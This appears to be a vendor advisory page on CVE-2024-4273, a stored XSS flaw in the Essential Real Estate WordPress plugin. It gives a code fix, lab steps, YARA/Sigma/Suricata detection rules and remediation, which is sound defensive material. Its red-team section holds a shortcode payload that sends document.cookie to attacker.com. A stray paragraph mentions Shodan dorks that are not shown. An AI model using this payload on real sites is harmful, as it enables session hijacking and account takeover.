CVE-2024-4273
Executive Summary
CVE-2024-4273 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Real Estate WordPress plugin, affecting all versions up to and including 4.4.2. The flaw resides in the ere_property_map shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for real estate listings, making it a high-value target for attackers seeking to compromise property management sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no official update has been released. Users should monitor the plugin’s changelog and consider temporary mitigation measures.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is elevated due to the low complexity and the ability to target administrators. While the CVSS score is medium, the real-world impact can be severe if an attacker escalates privileges via XSS.
Deep Dive & Mechanics
The vulnerability exists in the ere_property_map shortcode, which renders a map for property listings. The shortcode accepts user-supplied attributes (e.g., lat, lng, zoom) that are directly output into the page without proper sanitization or escaping. An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious JavaScript in an attribute.
Example vulnerable shortcode usage:
[ere_property_map lat="45.4642" lng="9.1900" zoom="12" marker_title="<script>alert('XSS')</script>"]
When the page is rendered, the marker_title attribute is echoed into the HTML without escaping, causing the script to execute. The attack is stored in the database, affecting all visitors.
Vulnerable vs. Patched Code
Vulnerable code (simplified):
function ere_property_map_shortcode($atts) {
extract(shortcode_atts(array(
'lat' => '',
'lng' => '',
'zoom' => '',
'marker_title' => '',
), $atts));
// Direct output without escaping
echo "<div data-marker-title='$marker_title'>";
}
Patched code (expected):
function ere_property_map_shortcode($atts) {
$atts = shortcode_atts(array(
'lat' => '',
'lng' => '',
'zoom' => '',
'marker_title' => '',
), $atts);
// Escape output
echo "<div data-marker-title='" . esc_attr($atts['marker_title']) . "'>";
}
The fix requires using esc_attr() or wp_kses() to sanitize user input before output.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Prerequisites: WordPress site with Essential Real Estate plugin <= 4.4.2, an account with contributor-level access or higher.
- Craft the payload: Create a post or page containing the malicious shortcode.
- Inject XSS: Use the
marker_titleattribute to inject JavaScript. - Trigger: Wait for an administrator to visit the page, or use social engineering to lure them.
Example payload:
[ere_property_map lat="45.4642" lng="9.1900" zoom="12" marker_title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Lab setup:
- Install WordPress and the vulnerable plugin.
- Create a contributor user.
- Log in as contributor, create a post with the malicious shortcode.
- Log in as admin and visit the post to observe the XSS.
Blue Team (Defense & Detection)
- Monitor shortcode usage: Log all instances of
ere_property_mapshortcode in posts/pages. - Input validation: Implement a Web Application Firewall (WAF) rule to block suspicious shortcode attributes.
- User training: Restrict contributor-level access and educate users about XSS risks.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/essential-real-estate/(presence of vulnerable version) - Database: Posts/pages containing
[ere_property_mapwithmarker_titlecontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
- Logs: Unusual shortcode usage in post revisions or activity logs.
Detection Engineering
YARA Rule
rule CVE_2024_4273_Stored_XSS {
meta:
description = "Detects malicious shortcode attributes in Essential Real Estate plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-4273"
strings:
$shortcode = "[ere_property_map"
$xss_payload = /marker_title\s*=\s*["'][^"']*<script[^>]*>/
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: CVE-2024-4273 Stored XSS via Essential Real Estate Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via ere_property_map shortcode
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "[ere_property_map"
http.url|re: "marker_title=.*<script"
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4273 Stored XSS in Essential Real Estate"; flow:to_server,established; content:"[ere_property_map"; http_uri; pcre:"/marker_title\s*=\s*["'][^"']*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Essential Real Estate plugin until a patch is released.
- Short-term: Implement a WAF rule to block shortcode attributes containing
<script>tags. - Long-term: Apply the official patch when available. If no patch is forthcoming, consider replacing the plugin with an alternative.
- User management: Restrict contributor-level access and enforce the principle of least privilege.
- Monitoring: Enable logging for shortcode usage and review regularly.
Valters IT
Securing WordPress ecosystems, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.